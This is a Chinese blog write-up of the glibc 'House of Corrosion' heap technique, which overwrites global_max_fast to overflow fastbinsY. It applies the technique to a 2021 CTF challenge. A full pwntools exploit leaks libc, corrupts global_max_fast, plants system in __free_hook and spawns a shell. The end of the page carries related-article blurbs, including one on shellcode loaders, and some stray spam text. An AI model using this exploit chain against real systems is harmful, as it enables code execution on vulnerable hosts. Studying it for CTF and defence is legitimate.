<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    House of Corrosion 原理及利用

    VSole2021-12-23 16:15:34

    利用思路

    有些師傅可能看到這個名字有些陌生,但實際上這已經是一個很早以前就出現的利用方法了,一直適用到最新的 GLIBC 中。

    要了解這個方法,我們首先要先知道 global_max_fast 是什么?簡單的來說 global_max_fast 是 GLIBC 用來儲存 fastbin 鏈表能夠儲存的最大大小,其默認值為 0x80,也就是 Fastbin 的默認 Size 范圍是在 [0x20, 0x80]。

    而此方法,其根本的思想就是通過往 global_max_fast 寫入一個很大的值,來造成 fastbinsY 數組溢出。如果我們利用其他漏洞在這個位置寫一個很大的值,會使得在 malloc 和 free 堆塊的時候,很大 Size 堆塊都被判定為是 fastbin 類型的堆塊,fastbinsY 是在 GLIBC 上儲存 fastbin 不同大小鏈表頭指針的一段空間,為大小從 0x20 開始的 fastbin 鏈表預留了十個指針。

    這意味著,如果有 SIZE 超過 0xB0 的堆塊,那么這個堆塊計算得到的索引值就會超出 fastbinsY 的最大范圍,造成數組越界。我們可以使用以下公式來計算出目標溢出位置,對應的需要構造的堆塊 SIZE,其中的 delta 指的是溢出位置到 fastbinsY 首地址的差值。

    chunk size = (delta * 2) + 0x20
    

    接下來分為 malloc 和 free 兩個方向來講解此方法的應用。

    malloc

    一般來說這種攻擊方法是無法任意申請堆塊地址的,一方面是因為申請的 Size 受到主程序限制,另一方面在 Fastbin 中申請出來堆塊會檢測 SIZE 位對應的索引是否與當前索引一致,如果不一致則會報錯退出。

    但是我們可以通過篡改 fastbin 鏈表來在 fastbinsY 后寫一個可控的內容,但是前提是主程序可以申請出那個 SIZE 的堆塊,利用思路如下

    1.free,SIZE 可以使得 fastbinsY 溢出到需要的位置

    2.利用 UAF 漏洞,在此堆塊的 fd 位置寫我們要篡改的數據,8 字節

    3.malloc,SIZE 和之前的一致

    這里的可以利用的原因是:在 malloc 的時候會把 fastbinsY 的鏈表頭部取出,并且把其 fd 位置的內容作為鏈表頭部寫入到 fastbinsY 數組中,而在這個過程中沒有對可控堆塊的 fd 位置的內容的合法性做檢查。

    free

    利用前提

    由于在 free fastbin 堆塊的時候會檢測被 free 堆塊的下一個堆塊的 SIZE 是否合法,這意味著我們雖然可以通過直接偽造 SIZE 位來觸發溢出,但是還需為偽造 SIZE 的堆塊的下一個堆塊偽造一個合法的 SIZE。所以這個方法有個利用的前提就是能為下一個堆塊偽造 SIZE,以下提出的利用方法都在滿足這個利用前提的情況下實現。

    泄露

    利用這個方法可以泄露 libc 上在 fastbinsY 之后的數據,泄露的思想就是利用 free 時會把此堆塊置入 fastbin 的頭部,所以 free 后在此堆塊的 fd 位置的內容,就是 free 前此 SIZE 的鏈表頭部指針,通過越界就可以讀取 LIBC 上某個位置的內容。

    用 leakfind 命令可以看能泄露哪些空間的地址。


    leakfind 0x7f50fe111bb0 --page_name=house_of_fmyyass --max_offset=0x3000 --max_depth=3
    #address:0x7f50fe111bb0 (例如在此利用中應該為fastbinsY的首地址)#page_name: 找哪里的地址,例如:libc,stack#max_offset:范圍(例如在此利用中,是最大能控制next chunk size的位置)#max_depth: 層數#其他選項...
    

    寫的思路與泄露的類似,就是利用在 free 后此 SIZE 的鏈表頭部指針會變成被 free 的堆塊指針。利用這個思路可以在 fastbinsY 之后寫入堆塊指針。

    這個思路只能寫入可控的堆塊指針,而不是可控內容,但是相對于之前的方法,這個方法不要求主程序可以申請很大 SIZE 的堆塊。

    寫入位置的選擇就很多樣了,只需要抓住一點,我們可以寫入一個可控的堆塊指針。而使用 Unsorted Bin Attack 或 Tcache Stashing Unlink Attack 能夠寫入的內容都是在 LIBC 上,屬于不可控的位置,通過這個打 global_max_fast 的思路,就可以把不可控地址的寫入轉換為可控地址的寫入,這給我們提供一種利用思想。

    1. 在程序中有通過 exit 來退出循環,在這種情況下,我們就可以通過寫 _IO_list_all 再配合不同版本 GLIBC 在 IO File 的攻擊思想或考慮用 House of banana,最后 get shell。

    a. 2.23 版本:對 vtable 的位置沒有檢測,可以直接在任意可控位置偽造一個 vtable,具體的利用思路可以參考 Angel Boy 的 House of orange 的打法。

    b. 2.27 版本:在 _IO_str_finsih 和 _IO_str_overflow 中有對函數指針的直接調用,可以通過調試找到對應位置并修改為 system。

    c. 2.28 – 2.33 版本:這部分版本把函數指針的調用改為了直接的 malloc 和 free 調用,這使得構造指針的思路不再有效,可以考慮用 House of pig 中的打法。

    d. 2.34 版本:這個版本把 __free_hook 和 __malloc_hook 都刪除了,所以使得 house of pig 的打法也失效了,可以考慮使用 House OF Emma 來攻擊。

    2. 覆寫 Top Chunk 標志來觸發 House OF Kiwi,House OF Kiwi 的利用條件有一部分在于觸發在 assert 上,使用這個方法能夠快速的讓 Top Chunk 的 Size 變的“不合法”,再次申請大于寫入堆塊的 Size 的堆塊就能觸發 assert。

    3.結合 House of banana 來攻擊

    4.結合 House of husk 來攻擊,之后會單獨寫一篇 House of husk 文章中提出。

    例題

    這里以 2021 湖湘杯初賽 maybe_fun_game_3 這題為例來講解本方法的實戰利用

    初始化

    在程序正式運行之前,會使用 mmap 來分配一段空間,賦值給這里名為 dest 的變量,用于之后的加解密工作

    加密過程

    加密分為兩步,創建一個加密數據塊和創建一個加密數據結構體

    加密數據塊

    1. 循環讓 i 從 0x50 到 0xFE

    2. 每次循環生成兩個隨機數(rnd1、rnd2),并對 0x50 取模

    3. 把 Rnd1 放到下標為 i 的數組中

    4. 用 Rnd2 對從 0 到 i 作為下標的每一位內容做異或

    5. 把 Rnd1 到 i 作為下標的每一位內容向后移

    6.把 Rnd2 放到下標為 Rnd1 的數組中

    創建結構體

    1. 偏移 0:0x6C616E6C616E7777(lanlanww)作為魔數來標記加密結構體內容

    2. 偏移 8:數據長度,限制為小于 0x50

    3. 偏移 0x10:加密后的數據內容

    4. 把以上結構內容用 base64 進行編碼,并且用 puts 輸出

    解密過程

    解密過程我們可以根據加密過程來逆推,而在此題中因為需要雙方交互,所以也存在解密函數。

    解析結構體

    1. base64 解碼

    2. 判定 maigc 是否一致

    3. 判斷 長度 是否超過限制

    4.如果該函數的參數 is_encode 為 1 則解密加密的數據,否則直接返回加密數據

    當把數據放置到堆塊時,會直接存放加密的數據,直至讀取堆塊內容時再進行二次解密。

    解密數據

    是加密過程的逆向,但是在實現中出現漏洞。

    在解碼過程中會引用到 Rnd1,在正常的加密過程中,這個隨機數會對 0x50 取余,把數據限制在 0x50 以內,不會出現任何問題。但是在這里由于沒有對直接寫入堆塊的內容進行檢驗,允許 Rnd1 大于 0x50,而在取 Rnd2 時,Rnd1 作為下標用的類型是 char ,構造使其可以為一個負數,造成 Rnd1 到 i 的每一位前移的過程中造成向前溢出,計算得到值為 0xE8 時正好可以向前溢出修改到 is_delete 結構的內容。

    程序功能和邏輯

    程序具有以下四個功能

    1. New

    2. Del

    3. Edit

    4. Show

    5. Backdoor

    New

    創建了一個大小為 0x110 的堆塊,結構體如下。

    把解析得到的數據大小放到 size 結構中,加密數據 0x100 字節內容完全復制到 data 結構中

    00000000 node            struc ; (sizeof=0x110, mappedto_15)00000000                                         ; XREF: main+12F/r00000000                                         ; main+13D/r ...00000000 data            db 256 dup(?)           ; XREF: main+3E4/r00000000                                         ; main+4E4/r ; string(C)00000100 size            dq ?                    ; XREF: main+13D/r00000100                                         ; main+2FC/w ...00000108 is_delete       dq ?                    ; XREF: main+12F/r00000108                                         ; main+1D0/r ...00000110 node            ends
    

    Del

    釋放結構體數據,并且標記 is_delete 位為 1,此時對 is_delete 結構的寫入實際上存在 UAF,但是無法控制具體內容。

    Edit

    讀入堆塊內容,并且寫入堆塊內容的是加密后的數據塊

    Show

    把堆塊中的內容先經過解密再輸出

    Backdoor

    允許按照順序觸發后門功能,依照次序是 4,3,2,1

    后門可以創建一個 Size 大于 0x2000 的堆塊,并且可以在堆塊釋放后對堆塊內容進行修改,從而造成了 UAF,結合這次所說的利用方法,不難想到以下內容 —— “在 malloc 的時候會把 fastbinsY 的鏈表頭部取出,并且把其 fd 位置的內容作為鏈表頭部寫入到 fastbinsY 數組中,而在這個過程中沒有對可控堆塊的 fd 位置的內容的合法性做檢查”

    通過計算 0x3918 這個 Size,在 fastbinsY 溢出的情況下,正好可以覆蓋到 __free_hook 的內容,這意味著我們可以借助后門來修改 __free_hook 上的內容。

    利用思路

    1.利用 Double Free 的報錯泄露出遠程的 LIBC 版本為 2.23

    2.利用 Unsorted Bin 堆塊可以在 FD 和 BK 位置存在一個 LIBC 地址,但是在使用 Show 功能時會對數據進行解密,解密過程會受到 LIBC 地址的內容影響,我們再把 Key 的內容全部設置為 0,這樣異或時內容不會變化,有概率能夠泄露出 Libc 基址,需要一定的爆破

    3.我們可以在非 Backdoor 的功能處,利用向前溢出造出一個 UAF,再用 Unsorted Bin Attack 來打 global_max_fast

    4.利用 Backdoor 4 的功能創建一個大小為 0x3918 的堆塊

    5.利用 Backdoor 3 的功能把這個堆塊釋放,此時在 __free_hook 處的內容為 fastbinsY 溢出的堆塊指針

    6.利用 Backdoor 2 的功能在這個堆塊的 fd 位置寫入 system 的函數指針

    7.利用 Backdoor 1 的功能把這個堆塊申請出來,這時候此堆塊 fd 位置的內容會進入 fastbinsY,也就時 __free_hook 處會存在一個 system 函數指針。

    8.再把提前構造好的 /bin/sh 給 free 掉,就會觸發 system(‘/bin/sh’)

    Exp

    import base64from pwn import *
    elf = Nonelibc = Nonefile_name = "./Maybe_fun_game_3"
    # context.timeout = 1
    def get_file(dic=""):    context.binary = dic + file_name    return context.binary
    def get_libc(dic=""):    libc = None    try:        data = os.popen("ldd {}".format(dic + file_name)).read()        for i in data.split(''):            libc_info = i.split("=>")            if len(libc_info) == 2:                if "libc" in libc_info[0]:                    libc_path = libc_info[1].split(' (')                    if len(libc_path) == 2:                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)                        return libc    except:        pass    if context.arch == 'amd64':        libc = ELF("/home/cnitlrt/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6", checksec=False)    elif context.arch == 'i386':        try:            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)        except:            libc = ELF("/lib32/libc.so.6", checksec=False)    return libc
    def get_sh(Use_other_libc=False, Use_ssh=False):    global libc    if args['REMOTE']:        if Use_other_libc:            libc = ELF("./libc.so.6", checksec=False)        if Use_ssh:            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])            return s.process(file_name)        else:            if ":" in sys.argv[1]:                r = sys.argv[1].split(':')                return remote(r[0], int(r[1]))            return remote(sys.argv[1], int(sys.argv[2]))    else:        return process(file_name)
    def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,                int_mode=False):    if start_string != None:        sh.recvuntil(start_string)    if libc == True:        if info == None:            info = 'libc_base:\t'        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))    elif int_mode:        return_address = int(sh.recvuntil(end_string, drop=True), 16)    elif address_len != None:        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))    elif context.arch == 'amd64':        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))    else:        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))    if offset != None:        return_address = return_address + offset    if info != None:        log.success(info + str(hex(return_address)))    return return_address
    def get_flag(sh):    try:        sh.recvrepeat(0.1)        sh.sendline('cat flag')        return sh.recvrepeat(0.3)    except EOFError:        return ""
    def get_gdb(sh, addr=None, gdbscript=None, stop=False):    if args['REMOTE']:        return    if gdbscript is not None:        gdb.attach(sh, gdbscript)    elif addr is not None:        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")    else:        gdb.attach(sh)    if stop:        raw_input()
    def Attack(target=None, elf=None, libc=None):    global sh    if sh is None:        from Class.Target import Target        assert target is not None        assert isinstance(target, Target)        sh = target.sh        elf = target.elf        libc = target.libc    assert isinstance(elf, ELF)    assert isinstance(libc, ELF)    try_count = 0    while try_count < 30:        try_count += 1        try:            pwn(sh, elf, libc)            break        except KeyboardInterrupt:            break        except EOFError:            sh.close()            if target is not None:                sh = target.get_sh()                target.sh = sh                if target.connect_fail:                    return 'ERROR : Can not connect to target server!'            else:                sh = get_sh()    flag = get_flag(sh)    return flag
    def decode(data):    print data    try:        t = base64.b64decode(data)        assert t[:8] == 'wwnalnal'        size = u64(t[8:0x10])        t = t[0x10:]        for i in range(0xFE, 0x4F, -2):            rnd1 = ord(t[i + 1: i + 2])            rnd2 = ord(t[rnd1: rnd1 + 1])            t = t[:rnd1] + t[rnd1 + 1: i + 1] + '\xFF' + t[i + 1:]            for j in range(i):                t = t[:j] + chr(ord(t[j: j + 1]) ^ rnd2) + t[j + 1:]        return t[:size]    except:        pass
    def encode_data(data):    t = data.ljust(0x100, '\xFF')    for i in range(0x50, 0x100, 2):        rnd1 = 0        rnd2 = 0        t = t[:i] + chr(rnd1) + t[i + 1:]        for j in range(i):            t = t[:j] + chr(ord(t[j: j + 1]) ^ rnd2) + t[j + 1:]        t = t[:rnd1] + chr(rnd2) + t[rnd1: i + 1] + t[i + 2:]    return t
    def encode(data):    return base64.b64encode(p64(0x6C616E6C616E7777) + p64(len(data)) + encode_data(data).ljust(0x100, '\xFF'))
    def pack_struct(data):    return base64.b64encode(p64(0x6C616E6C616E7777) + p64(0x0) + data)
    def getline():    return decode(sh.recvline())
    def recvuntil(t):    try:        while True:            data = getline()            if data == None:                raise EOFError            print data            if t in data:                return    except:        pass
    def senddata(t, type=1):    if type == 0:        data = pack_struct(t)    else:        data = encode(t)    sh.sendline(data)
    def choice(idx):    recvuntil('Choice')    senddata(str(idx))
    def add(size, content):    choice(1)    recvuntil('[Create]Size?')    senddata(str(size))    recvuntil('[Create]Content?')    senddata(content, 0)    recvuntil('[Create]Done!')
    def delete(idx):    choice(2)    recvuntil('[Delete]Index?')    senddata(str(idx))    recvuntil('[Delete]Done!')
    def edit(idx, content):    choice(3)    recvuntil('[Edit]Index?')    senddata(str(idx))    recvuntil('[Edit]Content?')    senddata(content, 0)    recvuntil('[Edit]Done!')
    def show(idx):    choice(4)    recvuntil('[Query]Index?')    senddata(str(idx))    return getline()
    def pwn(sh, elf, libc):    # context.log_level = "debug"    sh.recvuntil('>>>>>>>>>>>>>>>>>>>>>')    add(0x18, 'a' * 0x100)    add(0x4f, encode_data('a' * 0x18))    add(0x18, '\xE8' * 0x100)
        choice(5)    recvuntil('[backdoor_msg]Size?')    senddata(str(0x3918))
        edit(1, '\x00' * 0x50 + '\xE8' * 0x50)    delete(1)    edit(2, '\xE8' * 0x100)    show(2)
        leak_data = show(1)    log.hexdump(leak_data)
        leak_idx = leak_data.find('\x7f')    if leak_idx < 5:        leak_idx = leak_data.find('\x7f')    libc_base = u64(leak_data[leak_idx - 5: leak_idx + 1].ljust(8, '\x00')) - 0x3c4b78    if libc_base & 0xfff != 0:        raise EOFError    log.success("libc_base:\t" + hex(libc_base))    pause()    global_max_fast = libc_base + 0x3c67f8    system_addr = libc_base + 0x453a0    edit(1, p64(libc_base + 0x3c4b78) + p64(global_max_fast - 0x10))    add(0x18, 'a' * 0x100)  # 3    edit(3, p64(libc_base + 0x3c4b78) * 2)    edit(0, "/bin/sh\x00" * 2)    choice(5)
        choice(5)    recvuntil('[backdoor_msg]Content?')    senddata(p64(system_addr) * 2, 0)    choice(5)
        choice(2)    recvuntil('[Delete]Index?')    senddata(str(0))    sh.interactive()
    if __name__ == "__main__":    sh = get_sh()    flag = Attack(elf=get_file(), libc=get_libc())    sh.close()    if flag != "":        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
    
    str函數指針變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    某CMS漏洞合集
    2023-06-27 16:12:06
    2)contorl.php:對$_GET進行全局過濾危險的SQL函數。這個過濾從最簡單的角度來說,即mysql<8的情況下,把select禁用了,其實就沒辦法進行跨表查詢,SQL利用造成危害的可能性會大大降低,當然這是一種直接且無需考慮用戶體驗為原則的暴力做法,點到為止吧。回到web_inc.php,繼續閱讀,后面吸引我的地方,在于 89 line一處SQL語句的地方。
    前言之前hvv的時候有條件釣魚的情況下也沒有想著去嘗試,一方面是免殺的工作沒準備好。2022.11.15:花了幾天寫了這個,但是發現對于釣魚的話效果其實還是不行,所以這篇就單純記錄下了,白加黑的方式還是更適合做權限維持,這篇筆記僅供大家參考0X00????啟動為了更好的起到免殺和適配環境原因,所以啟動的四步操作均通過匯編來進行實現,之后各個語言只需要通過shellcode加載器進行加載這段shellcode即可python shellcode loaderimport ctypesimport sys
    COM劫持實戰演示
    2021-10-19 09:40:38
    com劫持前面說了這么多的基礎知識來到今天的正文,首先要了解com組件的加載過程
    如何調包Win32API函數?其實就是HookPE文件自己的IAT表。
    漏洞信息CVE-2021-26411 該漏洞存在于iexplore.exe mshtml.dll模塊,在JS9引擎處理dom對象時,由于未對nodevalue對象的有效性做判斷,所導致的UAF漏洞,該漏洞可實現RCE。
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    這次分析了CVE-2014-0502 Adobe Flash Player中的雙重釋放漏洞。文章的前半部分是Action Script代碼的靜態分析以及對于漏洞利用原理的一個初步分析,AS代碼分析和書中內容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作機制,通過搜索查看網上的資料完成了前半部分的內容。
    VMPWN的入門系列-1
    2023-07-27 09:45:00
    今天的文章有點長,圖片比較多,請耐心閱讀5.1 實驗一 VMPWN15.1.1 題目簡介這是一道基礎的VM相關題目,VMPWN的入門級別題目。
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类